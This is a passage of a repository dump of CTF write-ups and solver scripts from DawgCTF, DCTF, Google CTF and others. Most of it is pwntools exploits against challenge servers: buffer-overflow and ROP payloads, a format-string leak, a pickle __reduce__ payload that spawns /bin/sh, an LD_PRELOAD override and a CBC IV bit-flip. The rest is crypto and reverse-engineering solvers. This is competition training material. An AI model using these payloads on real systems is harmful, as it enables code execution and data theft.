data. To unpickle the *Node* object, we need to define a fake *Node* class to bypass the unpickle error *AttributeError: Can't get attribute 'Node' on plain_iv_blk 7 | ``` 8 | 9 | IV used in decryption is as follow, *cipher_blk* is decrypted cipher block 10 | 11 | ```python 12 | - cipher_blk ^ iv[i] => plain[i] 13 | ``` 14 | 15 | So ``cipher_blk = iv ^ plain``. To make decrypted plaintext read as *'SEND_NUDES_MELA!'*, created a fake IV from known plain text and known IV. 16 | 17 | ```python 18 | fake_iv = cipher_blk ^ fake_plain 19 | = iv ^ plain ^ fake_plain 20 | ``` 21 | 22 | So altered message, formated as {IV,cipher}, is *{2c1289a05847cfd65ecee8f7fe7efd66,8473dcb86bc12c6b6087619c00b6657e}*. 23 | 24 | ``` 25 | block_size = 16 26 | iv = '391e95a15847cfd95ecee8f7fe7efd66' 27 | cipher = '8473dcb86bc12c6b6087619c00b6657e' 28 | plain = 'FIRE_NUKES_MELA!' 29 | fake_plain = 'SEND_NUDES_MELA!' 30 | 31 | iv = bytes.fromhex(iv) 32 | cipher = bytes.fromhex(cipher) 33 | fake_iv = [] 34 | 35 | for i in range(block_size): 36 | fake_iv.append(iv[i] ^ ord(plain[i]) ^ ord(fake_plain[i])) 37 | 38 | fake_iv = bytes(fake_iv) 39 | print('iv', fake_iv.hex(), len(fake_iv)) 40 | print('flag{{{},{}}}'.format(fake_iv.hex(), cipher.hex())) 41 | ``` 42 | -------------------------------------------------------------------------------- /ctflearn/weird-calculator/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | array_0 = [ 4 | 0x57f, 5 | 0x575, 6 | 0x578, 7 | 0x57e, 8 | 0x542, 9 | 0x578, 10 | 0x569, 11 | 0x572, 12 | 0x566, 13 | 0x50d, 14 | 0x557, 15 | 0x558, 16 | 0x555, 17 | 0x540, 18 | 0x54a, 19 | 0x508, 20 | 0x54a, 21 | 0x566, 22 | 0x508, 23 | 0x54a, 24 | 0x566, 25 | 0x54b, 26 | 0x50d, 27 | 0x54d, 28 | 0x551, 29 | 0x50a, 30 | 0x54b, 31 | 0x566, 32 | 0x50a, 33 | 0x558, 34 | 0x54a, 35 | 0x540, 36 | 0x566, 37 | 0x508, 38 | 0x54a, 39 | 0x557, 40 | 0x54d, 41 | 0x566, 42 | 0x508, 43 | 0x54d, 44 | 0x544, 45 | ] 46 | 47 | for a in array_0: 48 | print(chr(a^0x539), end='') 49 | -------------------------------------------------------------------------------- /dawgctf-2021/binary-bbomb/phase3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def func3_1(param_1): 4 | cVar1 = 0 5 | 6 | if ((ord('@') < param_1) and (param_1 < ord('['))): 7 | param_1 = param_1 - 0xd 8 | if (param_1 < ord('A')): 9 | cVar1 = ord('\x1a') 10 | else: 11 | cVar1 = ord('\0') 12 | 13 | param_1 = cVar1 + param_1 14 | 15 | if ((ord('`') < param_1) and (param_1 < ord('{'))): 16 | param_1 = param_1 - 0xd 17 | if (param_1 < ord('a')): 18 | cVar1 = ord('\x1a') 19 | else: 20 | cVar1 = ord('\0') 21 | 22 | param_1 = cVar1 + param_1 23 | return param_1 24 | 25 | def func3_2(param_1): 26 | cVar1 = 0 27 | 28 | if ((ord(' ') < param_1) and (param_1 != ord('\x7f'))): 29 | param_1 = param_1 - 0x2f 30 | if (param_1 < ord('!')): 31 | cVar1 = ord('^') 32 | else: 33 | cVar1 = ord('\0') 34 | param_1 = cVar1 + param_1 35 | 36 | return param_1 37 | 38 | 39 | s = "\"_9~Jb0!=A`G!06qfc8'_20uf6`2%7" 40 | ans = [] 41 | for i in range(len(s)): 42 | for c in range(255): 43 | x = func3_1(c) 44 | x = func3_2(x) 45 | if x == ord(s[i]): 46 | ans.append(c) 47 | break 48 | 49 | print(''.join(map(chr, ans))) 50 | -------------------------------------------------------------------------------- /dawgctf-2021/binary-bbomb/phase4.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | local_48 = [1, 0x7b, 0x3b18, 0x1c640d] 4 | iVar3 = list(map(lambda v: v*0x37, local_48)) 5 | print(iVar3) 6 | 7 | def find_fibonacci_index(values): 8 | ma = max(values) 9 | w = [0] * 100 10 | w[0] = 1 11 | w[1] = 1 12 | i = 2 13 | n = 0 14 | seq = [-1] * len(values) 15 | while n < ma: 16 | n = w[(i-1)%100] + w[(i-2)%100] 17 | w[i % 100] = n 18 | try: 19 | loc = -1 20 | while True: 21 | loc = values.index(n, loc+1, len(values)) 22 | seq[loc] = i+1 23 | except ValueError: 24 | pass 25 | finally: 26 | i += 1 27 | return seq 28 | 29 | print(find_fibonacci_index(iVar3)) 30 | -------------------------------------------------------------------------------- /dawgctf-2021/binary-bbomb/phase6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | expected = [0] * 24 3 | expected[0] = ord('@') 4 | expected[1] = 0x77 5 | expected[2] = 0x23 6 | expected[3] = 0x91 7 | expected[4] = 0xb0 8 | expected[5] = 0x72 9 | expected[6] = 0x82 10 | expected[7] = 0x77 11 | expected[8] = 99 12 | expected[9] = 0x31 13 | expected[10] = 0xa2 14 | expected[11] = 0x72 15 | expected[12] = 0x21 16 | expected[13] = 0xf2 17 | expected[14] = 0x67 18 | expected[15] = 0x82 19 | expected[16] = 0x91 20 | expected[17] = 0x77 21 | expected[18] = 0x26 22 | expected[19] = 0x91 23 | expected[20] = 0 24 | expected[21] = 0x33 25 | expected[22] = 0x82 26 | expected[23] = 0xc4 27 | 28 | ans = [0] * len(expected) 29 | for i in range(len(expected)): 30 | a = expected[i] ^ 100 31 | a = ((a << 4)&0xf0) | ((a >> 4)&0xf) 32 | ans[i] = a 33 | 34 | print(''.join(map(chr, ans))) 35 | -------------------------------------------------------------------------------- /dawgctf-2021/bofit/explit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | 4 | host = 'umbccd.io' 5 | port = 4100 6 | target = './bofit' 7 | 8 | def exploit(remote): 9 | if remote: 10 | pr = pwn.connect(host, port) 11 | else: 12 | pr = pwn.process(target) 13 | 14 | try: 15 | elf = pwn.ELF(target) 16 | print('win_game @', hex(elf.sym['win_game'])) 17 | pr.sendlineafter('BOF it to start!\n', 'BOF') 18 | 19 | payload = b'A'*56 20 | payload += pwn.p64(elf.sym['win_game']) 21 | shouted = False 22 | print(payload) 23 | 24 | while True: 25 | cmd = pr.readline() 26 | print(cmd) 27 | if b"Twist" in cmd: 28 | if shouted: 29 | pr.send(payload) 30 | pr.sendline() 31 | print(pr.readall(2)) 32 | else: 33 | pr.sendline('T') 34 | elif b"Pull" in cmd: 35 | if shouted: 36 | pr.send(payload) 37 | pr.sendline() 38 | print(pr.readall(2)) 39 | else: 40 | pr.sendline('P') 41 | elif b"BOF" in cmd: 42 | if shouted: 43 | pr.send(payload) 44 | pr.sendline() 45 | print(pr.readall(2)) 46 | else: 47 | pr.sendline('B') 48 | elif b"Shout" in cmd: 49 | pr.send(payload) 50 | pr.sendline() 51 | shouted = True 52 | finally: 53 | pr.close() 54 | 55 | exploit(True) 56 | -------------------------------------------------------------------------------- /dawgctf-2021/cooking-the-ramen/cooking-the-ramen.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onealmond/hacking-lab/631e615944add02db3c2afef47bf1de7171eb065/dawgctf-2021/cooking-the-ramen/cooking-the-ramen.jpg -------------------------------------------------------------------------------- /dawgctf-2021/cooking-the-ramen/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | > "The Magic operation attempts to detect various properties of the input data and suggests which operations could help to make more sense of it." - CyberChef 4 | 5 | Put the given morse code into [CyberChef](https://gchq.github.io/CyberChef/#recipe=Magic(4,false,false,'')), choose *Magic* operation, depth 3 gave a string still encoded, set depth to 4, the flag shown up. 6 | 7 | ![](cooking-the-ramen.jpg) 8 | -------------------------------------------------------------------------------- /dawgctf-2021/it's-not-rsa/enigma-machine-cyberchef.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onealmond/hacking-lab/631e615944add02db3c2afef47bf1de7171eb065/dawgctf-2021/it's-not-rsa/enigma-machine-cyberchef.jpg -------------------------------------------------------------------------------- /dawgctf-2021/it's-not-rsa/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | The given cipher file contains the following json data. 3 | 4 | ```json 5 | { 6 | "ewfd_sodr": "evgnguextliwcmndypzdnhbshracrnpz", 7 | "srtosr": { 8 | "9": "III", 9 | "x": "IV", 10 | "b": "I", 11 | "i8xlec7ro": "B" 12 | }, 13 | "ix99lnvs": [ 14 | { 15 | "gebsiqw": "C", 16 | "ocnqgi": "F" 17 | }, 18 | { 19 | "xlbienx": "L", 20 | "pxksnl": "V" 21 | }, 22 | { 23 | "bloiens": "F", 24 | "lcnoin": "M" 25 | } 26 | ], 27 | "ixla_gbafg": { 28 | "x": "AU", 29 | "4": "CB", 30 | "h": "GI", 31 | "g": "ZX", 32 | "t": "YQ", 33 | "z": "OS", 34 | "m": "FE" 35 | } 36 | } 37 | ``` 38 | 39 | It's configure for Enigma Machine. 40 | 41 | - ``ewfd_sodr`` indicates the encrypted flag. 42 | - In ``srtosr`` are left-hand, middle and right-hand rotor, "B" is reflector. 43 | - In ``ix99lnvs``, are ring setting and initial value for left-hand, middle and right-hand rotor. 44 | - ``ixla_gbafg`` is plugboard. 45 | 46 | Put them into [CyberChef](https://gchq.github.io/CyberChef/#recipe=Enigma('3-rotor','LEYJVCNIXWPBQMDRTAKZGFUHOS','A','A','BDFHJLCPRTXVZNYEIWGAKMUSQO%3CW','C','F','ESOVPZJAYQUIRHXLNFTGKDCMWB%3CK','L','V','EKMFLGDQVZNTOWYHXUSPAIBRCJ%3CR','F','M','AY%20BR%20CU%20DH%20EQ%20FS%20GL%20IP%20JX%20KN%20MO%20TZ%20VW','AU%20CB%20GI%20ZX%20YQ%20OS%20FE',true)&input=ZXZnbmd1ZXh0bGl3Y21uZHlwemRuaGJzaHJhY3JucHo). 47 | 48 | ![](enigma-machine-cyberchef.jpg) 49 | 50 | Output was *DAWGC TFSPI NNING ANDRO TATIN GROTO RS*, so the flag was *DawgCTF{spinningandrotatingrotors}*. 51 | 52 | -------------------------------------------------------------------------------- /dawgctf-2021/jellypotters/jellypotters.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pickle 3 | import base64 4 | 5 | class run(object): 6 | def __reduce__(self): 7 | import os 8 | return (os.system, ('/bin/sh',)) 9 | 10 | print(base64.b64encode(pickle.dumps(run()))) 11 | -------------------------------------------------------------------------------- /dawgctf-2021/really-secure-algorithm/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | Given *n*, *c*, and *e* are big. Thrown *n* into [factordb.com](http://factordb.com/), it gave the same *q* and *p*, which means ``n=pow(p,2)``. As *p* and *q* are the same, ``phi=(p-1)*(q-1)=pow(p-1,2)`` 3 | 4 | ```python 5 | from Cryptodome.Util import number 6 | 7 | n = 8 | c = 9 | e = 10 | 11 | p = 12 | 13 | phi = pow(p-1,2) 14 | d = number.inverse(e, phi) 15 | ans = pow(c, d, p) 16 | print(number.long_to_bytes(ans)) 17 | ``` 18 | 19 | Decrypted message is the flag. 20 | 21 | ```python 22 | b'DawgCTF{sm@ll_d_b1g_dr3am5}' 23 | ``` 24 | -------------------------------------------------------------------------------- /dawgctf-2021/the-obligatory-rsa/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | This challenge is similar to *Really Secure Algorithm*, except in this challenge given *n* are *c* are big, *e* is *65537*. Still needed to factorize *n*. Thrown *n* into [factordb.com](http://factordb.com/), it gave the same *q* and *p*, which means ``n=pow(p,2)``. As *p* and *q* are the same, ``phi=(p-1)*(q-1)=pow(p-1,2)`` 3 | 4 | ```python 5 | from Cryptodome.Util import number 6 | 7 | n = 8 | c = 9 | e = 65537 10 | 11 | p = 12 | 13 | phi = pow(p-1,2) 14 | d = number.inverse(e, phi) 15 | ans = pow(c, d, p) 16 | print(number.long_to_bytes(ans)) 17 | ``` 18 | 19 | Decrypted message is the flag. 20 | 21 | ```python 22 | b'DawgCTF{wh0_n33ds_Q_@nyw@y}' 23 | ``` 24 | -------------------------------------------------------------------------------- /dctf-2021/a-simple-sp-box/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | import string 4 | from math import ceil, log 5 | 6 | 7 | host = "dctf1-chall-sp-box.westeurope.azurecontainer.io" 8 | port = 8888 9 | 10 | 11 | def find_shuffled(): 12 | ALPHABET = string.ascii_letters + string.digits + "_!@#$%.'\"+:;<=}{" 13 | shuffled = [] 14 | 15 | pr = pwn.connect(host, port) 16 | ret = '' 17 | try: 18 | pr.readline() 19 | flag = pr.readline().strip().decode() 20 | 21 | for a in ALPHABET: 22 | pr.sendlineafter('>', a*len(flag)) 23 | pr.readline() 24 | enc = pr.readline().strip().decode() 25 | print(a, enc) 26 | shuffled.append(enc[0]) 27 | 28 | for a in flag: 29 | i = shuffled.index(a) 30 | ret += ALPHABET[i] 31 | finally: 32 | pr.close() 33 | return ret 34 | 35 | def decode(message): 36 | message = list(message) 37 | rounds = int(2 * ceil(log(len(message), 2))) 38 | 39 | for round in range(rounds): 40 | if round < (rounds-1): 41 | odd = message[:len(message)//2] 42 | even = message[len(message)//2:] 43 | i = 0 44 | j = 0 45 | k = 0 46 | while i < len(odd) and j < len(even): 47 | if k % 2 == 1: 48 | message[k] = odd[i] 49 | i += 1 50 | else: 51 | message[k] = even[j] 52 | j += 1 53 | k += 1 54 | 55 | if i < len(odd): 56 | message[k] = odd[i] 57 | if j < len(even): 58 | message[k] = even[j] 59 | 60 | return ''.join(message) 61 | 62 | enc = find_shuffled() 63 | # 3u__Stdds_bc0h_c_f0y_3tti0xcy_hfnu}l0s3{_n 64 | print(decode(enc)) 65 | -------------------------------------------------------------------------------- /dctf-2021/bell/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | 4 | host='dctf-chall-bell.westeurope.azurecontainer.io' 5 | port=5311 6 | target='bell' 7 | 8 | def triangle(param_1, param_2): 9 | a = 0 10 | b = 0 11 | 12 | if param_1 < param_2: 13 | a = 0 14 | else: 15 | if param_1 == 1 and param_2 == 1: 16 | a = 1 17 | else: 18 | if param_2 == 1: 19 | a = triangle(param_1-1, param_1-1) 20 | else: 21 | b = triangle(param_1, param_2-1) 22 | a = triangle(param_1-1, param_2-1) 23 | a = a + b 24 | return a 25 | 26 | def exploit(remote): 27 | 28 | if remote: 29 | pr = pwn.connect(host, port) 30 | else: 31 | pr = pwn.process(target) 32 | 33 | try: 34 | num = int(pr.readline().decode()) 35 | print(num) 36 | for i in range(1, num+1): 37 | tri = triangle(num, i) 38 | print(tri) 39 | pr.sendline(str(tri)) 40 | print(pr.readall(2)) 41 | finally: 42 | pr.close() 43 | 44 | exploit(True) 45 | -------------------------------------------------------------------------------- /dctf-2021/forgotten-secret/decrypt-rsa-cyberchef.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onealmond/hacking-lab/631e615944add02db3c2afef47bf1de7171eb065/dctf-2021/forgotten-secret/decrypt-rsa-cyberchef.jpg -------------------------------------------------------------------------------- /dctf-2021/just-take-your-time/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | from time import time 4 | from Crypto.Cipher import DES3 5 | 6 | 7 | host = "dctf-chall-just-take-your-time.westeurope.azurecontainer.io" 8 | port = 9999 9 | 10 | def exploit(remote): 11 | if remote: 12 | pr = pwn.connect(host, port) 13 | else: 14 | pr = pwn.process(target) 15 | 16 | try: 17 | pr.readline() 18 | line = pr.readline().strip().decode().split() 19 | des3 = DES3.new(str(int(time())).zfill(16).encode("utf-8"),DES3.MODE_CFB, b"00000000") 20 | a, b = int(line[0]), int(line[2]) 21 | print(a, b) 22 | pr.sendlineafter('>', str(a*b)) 23 | pr.readline() 24 | enc = bytes.fromhex(pr.readline().strip().decode()) 25 | dec = des3.decrypt(enc) 26 | pr.sendlineafter('>', dec) 27 | print(dec, len(dec)) 28 | print(pr.readline()) 29 | print(pr.readall(2)) 30 | except Exception as e: 31 | print(e) 32 | finally: 33 | pr.close() 34 | 35 | exploit(True) 36 | -------------------------------------------------------------------------------- /dctf-2021/pinch-me/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | 4 | host = "dctf1-chall-pinch-me.westeurope.azurecontainer.io" 5 | port = 7480 6 | target = "pinch_me" 7 | 8 | 9 | def exploit(remote): 10 | if remote: 11 | pr = pwn.connect(host, port) 12 | else: 13 | pr = pwn.process(target) 14 | 15 | try: 16 | payload = b"A"*24 17 | payload += pwn.p64(0x1337c0de) 18 | 19 | print(payload, len(payload)) 20 | pr.sendafter("dreaming?\n", payload) 21 | pr.sendline() 22 | pr.sendline('cat flag.txt') 23 | print(pr.readall(2)) 24 | except Exception: 25 | pass 26 | finally: 27 | pr.close() 28 | 29 | exploit(True) 30 | -------------------------------------------------------------------------------- /dctf-2021/pinch-me/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | The *vuln* function would spawn a shell if *local_10 == 0x1337c0de*. 5 | 6 | ```c 7 | void vuln(void) 8 | { 9 | char local_28 [24]; 10 | int local_10; 11 | int local_c; 12 | 13 | local_c = 0x1234567; 14 | local_10 = -0x76543211; 15 | puts("Is this a real life, or is it just a fanta sea?"); 16 | puts("Am I dreaming?"); 17 | fgets(local_28,100,stdin); 18 | if (local_10 == 0x1337c0de) { 19 | system("/bin/sh"); 20 | } 21 | else { 22 | if (local_c == 0x1234567) { 23 | puts("Pinch me!"); 24 | } 25 | else { 26 | puts("Pinch me harder!"); 27 | } 28 | } 29 | return; 30 | } 31 | 32 | ``` 33 | 34 | *local_10* located right after user input array, to call vuln with *local_10* set to *0x1337c0de*, needed to fill the array and append *0x1337c0de* to it, so *local_10* would be overwritten with *0x1337c0de*. Check out [here](https://github.com/onealmond/hacking-lab/blob/master/dctf-2021/pinch-me/exploit.py) for full source code. 35 | 36 | ```python 37 | payload = b"A"*24 38 | payload += pwn.p64(0x1337c0de) 39 | 40 | print(payload, len(payload)) 41 | pr.sendafter("dreaming?\n", payload) 42 | pr.sendline() 43 | pr.sendline('cat flag.txt') 44 | print(pr.readall(2)) 45 | ``` 46 | 47 | *cat flag.txt* once pwned. 48 | 49 | ```bash 50 | $ python3 exploit.py 51 | [+] Opening connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io on port 7480: Done 52 | b'AAAAAAAAAAAAAAAAAAAAAAAA\xde\xc07\x13\x00\x00\x00\x00' 32 53 | [+] Receiving all data: Done (37B) 54 | [*] Closed connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io port 7480 55 | b'dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}' 56 | ``` 57 | -------------------------------------------------------------------------------- /dctf-2021/pwn-sanity-check/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | 4 | host = "dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io" 5 | port = 7480 6 | target = "pwn_sanity_check" 7 | 8 | 9 | def exploit(remote): 10 | if remote: 11 | pr = pwn.connect(host, port) 12 | else: 13 | pr = pwn.process(target) 14 | 15 | try: 16 | elf = pwn.ELF(target) 17 | rop = pwn.ROP(elf) 18 | pop_rdi = pwn.p64(rop.find_gadget(['pop rdi', 'ret']).address) 19 | pop_rsi = pwn.p64(rop.find_gadget(['pop rsi', 'pop r15', 'ret']).address) 20 | print(pop_rdi) 21 | print(pop_rsi) 22 | 23 | payload = b"A"*72 24 | payload += pop_rdi 25 | payload += pwn.p64(0xdeadbeef) 26 | payload += pop_rsi 27 | payload += pwn.p64(0x1337c0de) 28 | payload += pwn.p64(0x1337c0de) 29 | payload += pwn.p64(elf.sym['win']) 30 | 31 | print(payload, len(payload)) 32 | pr.sendafter("joke\n", payload) 33 | pr.sendline() 34 | pr.sendline("cat flag.txt") 35 | print(pr.readall(2)) 36 | except Exception as e: 37 | print(e) 38 | finally: 39 | pr.close() 40 | 41 | exploit(True) 42 | -------------------------------------------------------------------------------- /dctf-2021/readme/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | 4 | host = "dctf-chall-readme.westeurope.azurecontainer.io" 5 | port = 7481 6 | target = "readme" 7 | 8 | 9 | def exploit(remote): 10 | if remote: 11 | pr = pwn.connect(host, port) 12 | else: 13 | pr = pwn.process(target) 14 | 15 | try: 16 | payload = '' 17 | for i in range(11, 7, -1): 18 | payload += "%{}$lx".format(i) 19 | 20 | pr.sendafter("name?\n", payload) 21 | pr.sendline() 22 | s = pr.readall(2).decode().strip() 23 | s = s[s.find(' ')+1:] 24 | print(s) 25 | print(''.join(reversed(''.join([chr(int(s[i:i+2],16)) for i in range(0, len(s), 2)])))) 26 | except Exception as e: 27 | print(e) 28 | finally: 29 | pr.close() 30 | 31 | exploit(True) 32 | -------------------------------------------------------------------------------- /dctf-2021/readme/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | Here is the ``vuln`` function, it reads the flag from *flag.txt*, stores it in an array before the user input array, it takes *0x1e* bytes of input and print it with *printf*. Considered using format string attack, make *printf* print the flag. 4 | 5 | ```c 6 | void vuln(void) 7 | { 8 | FILE *__stream; 9 | long in_FS_OFFSET; 10 | char flag [32]; 11 | char input [40]; 12 | long local_10; 13 | 14 | local_10 = *(long *)(in_FS_OFFSET + 0x28); 15 | __stream = fopen("flag.txt","r"); 16 | fgets(flag,0x1c,__stream); 17 | fclose(__stream); 18 | puts("hello, what\'s your name?"); 19 | fgets(input,0x1e,stdin); 20 | printf("hello "); 21 | printf(input); 22 | if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { 23 | /* WARNING: Subroutine does not return */ 24 | __stack_chk_fail(); 25 | } 26 | return; 27 | } 28 | ``` 29 | 30 | After severl attemps found the flag located at around "%7$lx" to "%11$lx", so made up the payload as follow. 31 | 32 | ```python 33 | payload = '' 34 | for i in range(11, 7, -1): 35 | payload += "%{}$lx".format(i) 36 | 37 | pr.sendafter("name?\n", payload) 38 | pr.sendline() 39 | s = pr.readall(2).decode().strip() 40 | s = s[s.find(' ')+1:] 41 | print(s) 42 | print(''.join(reversed(''.join([chr(int(s[i:i+2],16)) for i in range(0, len(s), 2)])))) 43 | ``` 44 | 45 | Sent the payload and the server replied with the flag. 46 | 47 | ```bash 48 | $ python3 exploit.py 49 | [+] Opening connection to dctf-chall-readme.westeurope.azurecontainer.io on port 7481: Done 50 | %11$lx%10$lx%9$lx%8$lx 51 | [+] Receiving all data: Done (67B) 52 | [*] Closed connection to dctf-chall-readme.westeurope.azurecontainer.io port 7481 53 | 7f6f00356b3030625f656d30735f646133725f30675f77306e7b66746364 54 | dctf{n0w_g0_r3ad_s0me_b00k5\x00\x7f 55 | ``` 56 | 57 | Full exploit goes [here](https://github.com/onealmond/hacking-lab/blob/master/dctf-2021/readme/exploit.py). 58 | -------------------------------------------------------------------------------- /dctf-2021/this-one-is-really-basic/decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import base64 3 | 4 | data = open('cipher.txt', 'rb').read() 5 | 6 | while True: 7 | try: 8 | data = base64.b64decode(data) 9 | except Exception as e: 10 | print(data) 11 | print(e) 12 | break 13 | -------------------------------------------------------------------------------- /dctf-2021/this-one-is-really-basic/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | The cipher text looked like encoded with base64, by decoding it, got another base64 encoded text. Recursively decode the text until it failed. 3 | 4 | ```python 5 | data = open('cipher.txt', 'rb').read() 6 | 7 | while True: 8 | try: 9 | data = base64.b64decode(data) 10 | except Exception as e: 11 | print(data) 12 | print(e) 13 | break 14 | ``` 15 | 16 | The flag shown up. 17 | 18 | ```bash 19 | $ python3 decode.py 20 | b'dctf{Th1s_l00ks_4_lot_sm4ll3r_th4n_1t_d1d}' 21 | Invalid base64-encoded string: number of data characters (33) cannot be 1 more than a multiple of 4 22 | ``` 23 | -------------------------------------------------------------------------------- /dctf-2021/tiny-interpreter/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | It looked complicated, just ran the *interpreter bin* it gave the this output seem to be the flag. 4 | 5 | ```bash 6 | I 7 | n 8 | t 9 | e 10 | r 11 | p 12 | r 13 | e 14 | t 15 | e 16 | r 17 | _ 18 | w 19 | r 20 | i 21 | t 22 | t 23 | e 24 | n 25 | _ 26 | i 27 | n 28 | _ 29 | C 30 | _ 31 | i 32 | s 33 | _ 34 | a 35 | _ 36 | g 37 | r 38 | e 39 | a 40 | t 41 | _ 42 | i 43 | d 44 | e 45 | a 46 | ``` 47 | 48 | Concatenated all the characters to get the flag. 49 | 50 | ```python 51 | >>> data = open('output', 'rb').read() 52 | >>> b''.join(data.split()) 53 | b'Interpreter_written_in_C_is_a_great_idea' 54 | ``` 55 | -------------------------------------------------------------------------------- /foobarctf-2021/child-rev/find_flag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | dat = "78 2f 01 00 00 00 00 00 30 2f 01 00 00 00 00 00 72 2f 01 00 00 00 00 00 5f 2f 01 00 00 00 00 00 61 2f 01 00 00 00 00 00 6e 2f 01 00 00 00 00 00 64 2f 01 00 00 00 00 00 5f 2f 01 00 00 00 00 00 6c 2f 01 00 00 00 00 00 30 2f 01 00 00 00 00 00 67 2f 01 00 00 00 00 00 31 2f 01 00 00 00 00 00 63 2f 01 00 00 00 00 00 40 2f 01 00 00 00 00 00 6c 2f 01 00 00 00 00 00 5f 2f 01 00 00 00 00 00 73 2f 01 00 00 00 00 00 68 2f 01 00 00 00 00 00 31 2f 01 00 00 00 00 00 66 2f 01 00 00 00 00 00 74 2f 01 00 00 00 00 00 5f 2f 01 00 00 00 00 00 65 2f 01 00 00 00 00 00 40 2f 01 00 00 00 00 00 73 2f 01 00 00 00 00 00 79 2f 01 00 00 00 00 00 5f 2f 01 00 00 00 00 00 72 2f 01 00 00 00 00 00 31 2f 01 00 00 00 00 00 67 2f 01 00 00 00 00 00 68 2f 01 00 00 00 00 00 38 2f 01 00 00 00 00 00 3f 2f 01 00 00 00 00 00 3f 2f 01 00 00 00 00 00" 3 | dat = dat.split() 4 | arr = [] 5 | 6 | for i in range(0, len(dat), 8): 7 | arr.append(int(''.join(reversed(dat[i:i+8])), 16)) 8 | 9 | key = 0x00012f00 10 | flag = [0]*0x22 11 | 12 | for i in range(len(flag)): 13 | flag[i] = arr[i] ^ key 14 | 15 | print(''.join(map(chr, flag))) 16 | -------------------------------------------------------------------------------- /glsc-ctf-2021/mr.roboto/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | Try to ping-pong some subpaths, ``/robots.txt`` shows something interesting. 4 | 5 | ```bash 6 | user-agent: kilroy 7 | /hidden892734569.html 8 | ``` 9 | 10 | Request ``/hidden892734569.html`` gives us a clue about style file. Send request to check it out. 11 | 12 | ```bash 13 | http --follow -v https://ctf-web2.ncsa.tech/style.css 14 | ``` 15 | 16 | After several redirections, we finally receive some useful message. 17 | 18 | ```bash 19 | HTTP/1.1 302 Found 20 | content-length: 36 21 | content-type: text/plain; charset=utf-8 22 | date: Mon, 19 Apr 2021 08:47:55 GMT 23 | interesting: TXIuIFJvYm90byBzZXo6IFRyeSBnb2luZyB0byAvY3NzL3N0eWxlNzU2NDg3NS5jc3M= 24 | keep-alive: timeout=5 25 | location: /css/style.css 26 | vary: Accept 27 | x-powered-by: Express 28 | 29 | Found. Redirecting to /css/style.css 30 | 31 | ``` 32 | 33 | Decode the base64-encoded message we get yet another css path. 34 | 35 | ```bash 36 | $ base64 -d <<< TXIuIFJvYm90byBzZXo6IFRyeSBnb2luZyB0byAvY3NzL3N0eWxlNzU2NDg3NS5jc3M= 37 | Mr. Roboto sez: Try going to /css/style7564875.css 38 | ``` 39 | 40 | Request ``/css/style7564875.css`` resulting a rejection. 41 | 42 | ```bash 43 | $ http --follow -v https://ctf-web2.ncsa.tech/css/style7564875.css 44 | ... 45 | Mr. Roboto sez: You are almost there. Maybe a different User-Agent: would help. Your User-Agent: HTTPie/1.0.3 46 | ``` 47 | 48 | Request again with agent shown in ``robots.txt``. 49 | 50 | ```bash 51 | http --follow -v https://ctf-web2.ncsa.tech/css/style7564875.css User-Agent:kilroy 52 | ``` 53 | 54 | Finally the flag shown up. 55 | -------------------------------------------------------------------------------- /glsc-ctf-2021/scr1pt1ng/exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cat > fake-so.c << EOF 3 | int rand(void) {return 1;} 4 | EOF 5 | 6 | gcc -shared -fpic fake-so.c -o fake-so.so 7 | LD_PRELOAD=./fake-so.so ./scr1pt1ng 8 | -------------------------------------------------------------------------------- /google-ctf-2019/MicroServiceDaemonOS/shellcode.py: -------------------------------------------------------------------------------- 1 | import pwn 2 | 3 | 4 | def remote(): 5 | conn = pwn.remote("microservicedaemonos.ctfcompetition.com", 1337) 6 | line = conn.readline() 7 | print(line) 8 | line = conn.read(numb=len('Provide command: ')) 9 | print(line) 10 | conn.writeline('l') # command l 11 | line = conn.read(numb=len('Provide type of trustlet: ')) 12 | print(line) 13 | conn.writeline('0') # trustlet type 1 14 | 15 | line = None 16 | offs = 0 17 | while offs <= 0x7ff1: 18 | print('offset', offs) 19 | line = conn.read(numb=len('Provide command: ')) 20 | print(line) 21 | conn.writeline('c') # command c 22 | line = conn.read(numb=len('Provide index of ms: ')) 23 | print(line) 24 | conn.writeline('0') # index of ms 25 | line = conn.read(numb=len('call type: ')) 26 | print(line) 27 | conn.writeline('g') # call type 28 | line = conn.read(numb=len('provide page offset: ')) 29 | print(line) 30 | conn.writeline(str(offs)) # offset 31 | line = conn.read(numb=len('provide page 